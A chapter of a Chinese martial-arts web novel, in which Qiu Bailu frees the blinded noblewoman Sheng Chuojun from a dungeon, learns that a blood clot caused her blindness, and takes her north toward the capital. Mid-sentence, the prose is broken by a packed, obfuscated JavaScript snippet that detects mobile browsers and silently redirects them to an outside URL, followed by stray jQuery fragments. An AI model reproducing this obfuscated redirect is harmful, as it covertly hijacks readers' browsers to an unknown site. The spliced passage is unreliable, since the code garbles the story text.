秋白鹭踏进地牢的时候,先听见了滴水声。
手持油灯,步步向前,一直走到最深处,走道的尽头一点星火在烛台上跳跃,那就是盛绰君所在的牢房。
秋白鹭轻叩格栅,盛绰君从睡梦中惊醒,揪住被子,一双空洞的眼睛徒劳地张望:“谁?”
秋白鹭说:“是我。秋白鹭。”
盛绰君耸起的肩膀放下去,翻身爬起来,摸索到牢门边,咳了两声:“你,你来做什么?”
秋白鹭说:“我想了又想,看在当日同行的情分上,给你一个机会。”
盛绰君眉头一扬,喜道:“什么机会?放了我?”
秋白鹭说:“给你一个新的身份,你可以隐姓埋名,安安稳稳地度过此生。”
盛绰君面上喜色骤消。
盛绰君断然回绝说:“不,我不要。”
秋白鹭问:“你宁可死?”
盛绰君仰头,目光落在不可知的高处:“你要杀我?”
秋白鹭当然不是为了杀她才来的。
秋白鹭想利用她,却又想救她。但就如小萝所说的,盛绰君并不想被她救,只想回到燕都,回到她唯一的亲人身边。
秋白鹭如果就此放了盛绰君,她一定会千方百计找到一条路,爬也要爬回燕都城——少女无神的眼睛里燃烧着一团火。
伏津和燕都千里之遥,她一个盲眼的女子怎么能活着走过这条路?如果草率地放了她,与送她去死无异。
秋白鹭选择利用她。
秋白鹭以悲悯的目光注视着她,她却浑然不觉,仍然高昂着头,等待秋白鹭的判决。
秋白鹭说:“我会带你回燕都。”
盛绰君张了张口,错愕之色从她面上浮现:“回燕都?真的吗?为什么?”
秋白鹭不等她道谢:“我就是宓妃。这次回去是为了救出皇帝。如果和盛静君起了冲突,我会用你威胁她。”
盛绰君握住牢门,声音高到有一些尖锐:“宓妃?宓妃池氏?”
是的,宓妃池氏,就连秦岷,也只以为她名叫池白鹭。
想来也很讽刺,十年夫妻,竟然从没叫过彼此一次真名。
秋白鹭平静地解释:“我母亲姓池。绰君,如果是这样,你还是要和我回燕都去吗?”
盛绰君沉默。
昨夜被关在牢中,她一度以为自己要死在这里,一夜未眠,已经想过无数种死法。
被囚死,被一刀杀死,被灌下一杯毒酒,或者是逃出去的路上被杀……
她甚至没敢想过回到燕都。
人生际遇如此,顷刻之间反复无常。半个月前她还是卫国公的幼女,皇后的亲妹妹,太子的小姨,要风得风要雨得雨,好像世上一切都理应由她享受;半个月后,她是被灭门的孤女,失了父兄,瞎了眼睛,陷入牢狱,唯一的亲姐远在千里之外,不知此生是否还能相见。
回家的机会猝不及防地出现在眼前,她反而再次陷入犹豫。
她想要回家,想要回到姐姐身边,但如果因为她害了姐姐,她失去了唯一的亲人,岂不是永远没有家了?
盛绰君问:“你是要去杀我姐姐吗?”
秋白鹭不答,盛绰君已经自行回答了:“你想救皇帝,却未必要杀我姐姐,对不对?”
她说服自己,也说服秋白鹭:“姐姐要讨回公道,要皇帝之位,你既然能因为心里不快负气出走,一定是不在乎这些的,到时候你带走他就是。你和姐姐,也未必要起冲突的,是不是呀?”
她说着说着,语调也轻快了起来,俨然是已经把自己的心结解开:“秋夫人,我跟你回去!”
把秦岷带走吗?
秋白鹭不禁失笑,这倒是个好点子,却坏在秦岷长着腿,会往他自己的方向走。他可是天潢贵胄,九五之尊,怎么会甘心放弃荣华富贵,跟着江湖女子出走?
回到燕都后究竟会发生什么,就连秋白鹭也不知道,局势瞬息万变,她唯有见招拆招而已。盛绰君一腔天真,只是雏鸟太想归巢,把一切往好处去想,硬生生想出一个对她来说最完美的结局。
但秋白鹭也没法反驳她,说我和你姐姐一定会你死我活地斗上一场,只好最后问她一句:“你想好了?”
盛绰君肯定地应道:“我想好了。”
秋白鹭拔剑劈开牢门,伸手把盛绰君拉出来,抬剑在墙壁上留下一行字:“人我带走。秋。”
砖屑簌簌而落,一行字刻在了墙上,秋白鹭认真写完,举起灯欣赏片刻,自言自语:“比昨晚默经的字好看些。”
盛绰君茫然地面向她。
秋白鹭暗道:只好留给发现盛绰君失踪的人欣赏了。
她抬步走在前面,盛绰君扶着墙壁行走,跌跌撞撞地跟在她身后。
秋白鹭走出几步,看盛绰君还没跟上,停下等她一等,问:“你的眼睛是怎么回事?”
盛绰君努力跟上来,听了秋白鹭这一问,只觉悲从中来,心头郁郁,忍不住出口带刺:“瞎了,完全看不到了。拜你所赐,大长老死了,这双眼睛彻底没救了。”
大小姐还不习惯忍气吞声呢。
秋白鹭不理她冲天的怨气,继续问:“怎么伤到的?”
盛绰君沉默,她想起匆匆调动的步卒,被火光映亮的半边天,被黑甲军堵住的大门,还有满天的流矢。
她迈开腿狂奔,却跑得那么慢,每一次回头都发现身后的追兵更近一些。护卫着她逃离的家丁越来越少,尸体散落在来时的路上。
她跌倒了,一瞬间天旋地转,头磕在石头上,流了满眼的红。
很痛,很痛,明明那么痛,却又被人揪着后颈提起来,粗鲁地抹了一把脸,对着她的脸大笑:“是她!头儿,抓到了!”
那人的手是红色的,脸也是红色的,嘴长得很大,好像恶鬼一样。
这就是她看到的最后一幕。
她有那么多的委屈要说。如果面前是姐姐,她要伏在姐姐的肩头大哭一场,要姐姐轻轻拍着她的后背安慰,轻声细语的安慰她,但现在没有姐姐。
黑暗中,盛绰君静静品味这一刻酸涩的情绪,只轻轻地说:“头撞上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368721|183941||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
石头,就看不见了。”
秋白鹭眉头一皱,拉过盛绰君的手腕,扣住她的脉门,真气透体而入,沿着经脉游走全身。
秋白鹭不懂医术,但懂经脉。
盛绰君眼上一寸穴位处,有一团血瘀,血气在此盘结凝滞,这才致使她双目失明。
对寻常医生却是可以算作疑难杂症,但只要寻个内家高手,以自身真气助她反复冲击此处窍穴,有个三五日就能重见天日。如果找不到高手,有个可靠的名医,调养一年半载,大约也能恢复。
秋白鹭一时沉默。
就是为了这样一团小小的血瘀,竟然枉送了百十条性命!
何等荒谬可笑,小易中毒,灵馥和小萝遭了牢狱之灾,还有被掠来的少女们,以及最后时刻惨死在洞中,鲜血被用来画阵的伏津居民……
居然都只是为了解一团血瘀!
盛绰君只觉腕上的手扣得更紧,却不听秋白鹭说话,小心地问:“秋夫人?”
秋白鹭松开手,冷冷地看着她。
盛绰君看不见秋白鹭陡然变了脸色,只觉得箍在腕子上的手如冷铁,如镣铐,她甩也甩不脱,茫然失措,心底暗暗发寒。
“秋夫人,我做错了什么?”
秋白鹭冷笑:“你一身清白无辜,从没做错什么。”
盛绰君听出秋白鹭话中并无善意,却不知自己又是哪一句话触怒了她,想起自己刚才没忍住的一句怨言,不由懊悔起来。
现在自己身家性命都在对方手里,更是还要仰赖着对方才能回家,怎么就忍不下一时之辱?
秋白鹭突然松开手,说:“跟上。”
盛绰君顿在原地,一时不敢跟上,又惧怕被抛下,听得秋白鹭脚步声已经逐渐远了,咬了咬牙,抹净眼泪,急向前跟住了她。
秋白鹭早就知道的,富贵权势就是有这样的魔力,以至于有些人不用亲自杀人,就有伥鬼把生人的血泪送到他们唇边。哪怕她本意并不是要吃血泪,可伥鬼却要用最新鲜的血泪来表明自己的忠心。
而吃惯了血泪的人,真吃起血泪来又浑然不觉,甚至还要挑剔今天的血泪新不新鲜,可不可口。
秋白鹭打开地牢的门,一把把盛绰君拉上来。
盛绰君眼睛虽然看不见了,却也能朦胧感光,此时一到地面上,迎着阳光又流下两行泪来。
可怜又可厌,论起来又罪不至死。
秋白鹭瞟他一眼,手指放在唇间打个呼哨,只听唏溜溜一声,马小跑着来到她身前,踏碎了一地落花。
她将盛绰君丢上马背,自己也跨了上去:“走了。”
缓行几步,自后门出了张宅,秋白鹭抬头辨清方向,便扬鞭催马,背着太阳北行。
身后马蹄落处烟尘四起,前方风疾草乱浮云聚散。
劲风吹拂面颊,吹乱了额边的碎发,还有她好不容易压下的心绪。
秋白鹭拢住碎发,迎风睁开双眼,眺望着远山的尽头,浮云的归处,问自己一个暂时不会有答案的问题:不知她最终会不会为这一次的冲动而后悔呢?